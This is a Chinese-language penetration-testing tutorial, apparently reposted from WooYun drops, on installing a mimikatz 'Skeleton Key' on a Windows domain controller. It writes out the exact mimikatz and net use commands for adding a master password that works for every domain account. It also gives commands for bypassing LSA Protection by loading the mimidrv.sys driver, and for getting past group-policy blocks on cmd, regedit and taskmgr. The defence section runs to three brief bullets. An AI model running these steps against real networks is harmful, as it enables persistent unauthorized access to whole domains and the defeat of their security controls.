# 域渗透——Skeleton Key
0x00 前言
=======
* * *
上篇介绍了利用SSP来维持域控权限,美中不足在于其需要域控重启才能生效,而在众多的域渗透方法中,当然存在不需要域控重启即能生效的方法,所以这次就介绍其中的一个方法——Skeleton Key

0x01 简介
=======
* * *
> Skeleton Key被安装在64位的域控服务器上
> 支持Windows Server2003—Windows Server2012 R2
> 能够让所有域用户使用同一个万能密码进行登录
> 现有的所有域用户使用原密码仍能继续登录
> 重启后失效
> Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key
**参考代码:**
[https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c)
0x02 实际测试
=========
* * *
**测试环境**
“`
域控:Server 2008 R2 x64
域内主机: Win7 x64
“`
### 1、域内主机使用正确密码登录域控
用户名:a@test.local
密码:12345678!Q
**cmd命令:**
“`
net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:a@test.local
dir \\WIN-8VVLRPIAJB0.test.local\c$
“`
如图
### 2、在域控安装Skeleton Key
**mimikatz命令:**
“`
privilege::debug
misc::skeleton
“`
如图
**注:**
64系统需要使用64位的mimikatz
### 3、域内主机使用Skeleton Key登录域控
**(1)**清除net use连接
**cmd命令:**
“`
net use */del /y
“`
如图
**(2)**使用Skeleton Key登录
mimikatz的默认Skeleton Key设置为mimikatz
**cmd命令:**
“`
net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:a@test.local
dir \\WIN-8VVLRPIAJB0.test.local\c$
“`
如图
**(3)**权限测试
**a、**使用域内不存在的用户+Skeleton Key登录
**b、**使用域内普通权限用户+Skeleton Key登录
如图
发现使用域内不存在的用户无法登录
使用域内普通权限用户无法访问域控
**结论:**Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
### 4、LSA Protection
微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
**适用系统:**
“`
Windows 8.1
Windows Server 2012 R2
“`
所以接下来换用Windows Server 2012 R2 x64进行测试
**(1)**配置LSA Protection
注册表位置:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa`
如图
新建-`DWORD`值,名称为`RunAsPPL`,数值为`00000001`
如图
重启系统
**(2)**测试Skeleton Key
**mimikatz命令:**
“`
privilege::debug
misc::skeleton
“`
此时失败
**(3)**绕过LSA Protection
mimikatz早在2013年10月就已支持绕过LSA Protection
如图
**参考源码:**
[https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c)
**注:**
该功能需要mimidrv.sys文件

**mimikatz命令:**
“`
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
“`
如图,导入驱动文件mimidrv.sys后,绕过LSA Protection,操作成功

0x03 补充
=======
* * *
分享一些常见问题的解决方法,管理员常常会禁用一些重要程序的运行,比如cmd、regedit、taskmgr
### 1、如何禁用cmd、regedit、taskmgr
输出`gpedit.msc`进入本地组策略编辑器
本地计算机测试-用户配置-管理模板-系统
如图
**禁用cmd:**
选择”阻止访问命令提示符”-启用
**禁用regedit:**
选择”阻止访问注册表编辑工具”-启用
**禁用taskmgr:**
选择”不要运行指定的Windows应用程序”-不允许的应用程序列表-填入taskmgr.exe-启用
**测试:**

如图cmd、regedit、taskmgr均已被禁用
### 2、绕过
**mimikatz命令:**
“`
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
“`
如图,成功执行,绕过限制

0x04 防御
=======
* * *
* 保护域控权限
* 查看域控日志
* 对照攻击方法寻找入侵痕迹
0x05 小结
=======
* * *
这次不仅测试了`Skeleton Key`,还介绍了`mimikatz`的一些隐藏功能,而这些功能并未在其官方说明文档中出现。
其实通过研究`mimikatz`的源码,你会发现还有许多的隐藏功能值得挖掘利用。
还是那句老话,只有了解如何攻击才能更好的防御,希望本文无论是对渗透攻击还是防御,均有帮助。
0x06 参考资料
=========
* * *
* [https://adsecurity.org/?p=1275](https://adsecurity.org/?p=1275)
* [https://adsecurity.org/?p=1255](https://adsecurity.org/?p=1255)
* [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/)
* [https://technet.microsoft.com/en-us/library/dn408187.aspx](https://technet.microsoft.com/en-us/library/dn408187.aspx)
* [https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4](https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4)
* [https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c)
**本文由三好学生原创并首发于乌云drops,转载请注明**













请登录后查看评论内容